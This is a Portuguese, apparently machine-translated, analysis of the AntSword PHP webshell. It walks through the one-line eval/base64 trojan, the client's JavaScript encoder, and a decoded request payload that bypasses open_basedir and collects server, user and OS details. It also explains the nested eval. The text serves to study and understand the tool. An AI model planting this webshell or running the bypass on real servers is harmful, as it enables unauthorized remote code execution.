minhas informações de contato
Correspondência[email protected]
2024-07-12
한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina
referir-se
porPrimeiroPor exemplo
cavalo de Tróia
<?php @eval(base64_decode($_POST['ant']));?>
Obtenha o conteúdo do parâmetro ant, decodifique-o em base64 e execute-o
Codificador
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64');
Gere um número aleatório randomID, codifique os dados em base64 e passe-os para o parâmetro randomID.
Entãoeval(base64_decode($_POST[${randomID}]));die();
Execute a codificação base64
Pelo contrário
O Trojan consegue primeirodata[pwd]
Aquilo éant
O valor é obtido após a decodificação base64
eval(base64_decode($_POST[${randomID}]));die();
Na verdade, o Trojan tornou-se
<?php @eval(eval(base64_decode($_POST[${randomID}]));die(););?>
Suponha que o número aleatório gerado randomID sejaA
, então isso é
<?php @eval(eval(base64_decode($_POST[A]));die(););?>
Na segunda etapa do Cavalo de Tróia, odata[randomID]
, aquilo é$_POST[${randomID}]
, isto é, aqui$_POST[A]
Ele foi codificado em base64, portanto precisa ser decodificado uma vez. Então surge a pergunta: por que precisa ser executado duas vezes? ? ?Então você tem que verificar no pacote de tráfego
Não há demonstração aqui sobre construção ambiental. Xiaopi, Yijian e burpsuite são suficientes.
Decodifique a base de pacotes de dados
ant=eval(base64_decode($_POST[_0x36c084a15bf7d]));die();
base64_decode($_POST[_0x36c084a15bf7d])
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.f19ddead";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\|//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "59ee6d"."26ac18";echo @asenc($output);echo "3f4b"."0edf4";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
Então torna-seeval("eval(base64_decode($_POST[_0x36c084a15bf7d]);die();)")
Dê uma olhada neste grande parágrafo e resolva-o
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){
continue;
};
$tmdir=$item."/.f19ddead";
@mkdir($tmdir);
if(!@file_exists($tmdir)){
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\|//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");
};
@ini_set("open_basedir","/");
@rmdir($tmdir);break;};
};;
function asenc($out){
return $out;
};
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "59ee6d"."26ac18";
echo @asenc($output);
echo "3f4b"."0edf4";
}
ob_start();
try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))$R.="{$L}:";
}else{
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();
$R.=" {$s}";
echo $R;;
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
asoutput();
die();
Claro, não conheço muitas funções, mas existe IA!
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){
continue;
};
$tmdir=$item."/.f19ddead";
@mkdir($tmdir);
if(!@file_exists($tmdir)){
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\|//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");
};
@ini_set("open_basedir","/");
@rmdir($tmdir);break;};
};;
Este parágrafo é
Desativar exibição de erros
Defina o tempo de execução do script
Obtenha o valor de configuração de open_basedir e ignoreopen_basedir
Restrições de atributos
try{
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")
$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))$R.="{$L}:";
}else{
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;;
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
Esta seção obtém o diretório onde o script atual está localizado e inicializa os parâmetros da string.$R
, percorre a letra da unidade, CZ explode a letra da unidade, usa a função posix_getegid para obter o nome do usuário, grupo de usuários e outros conteúdos do usuário que executa o script, detecta$u
Se existe. Se não existir, use a função get_current_user() para obtê-lo. Use php_uname() para obter as informações do sistema operacional.
É muito claro neste ponto. Este código php obtém o diretório de execução atual, a letra da unidade, o usuário e as informações do sistema operacional do Trojan, devido ao uso do mecanismo de cache, no final.
Execute a saída coletiva na função asoutput(),
Envie o pacote de solicitação acima para o módulo repetidor e descubra que os resultados retornados são os mesmos
Mas isso ainda não pode explicar por que existem dois evals. Na verdade, o conteúdo passado por ant pertence à string. Somente quando uma camada de eval for colocada fora, o eval dentro será executado como uma função.
<?php
eval("eval('echo 1+1;');die();")
?>
Transformar
<?php
eval('eval(base64_decode("ZWNobyAiYWFhIjs="));die();')
?>
O resultado final da saída é 2, o que significa que o eval externo converte a string em uma função para execução e a camada interna de eval executa o conteúdo
Portanto, neste exemplo, o eval do Trojan é usado para ativar a função eval no pacote de solicitação, obtendo assim o efeito de execução do comando.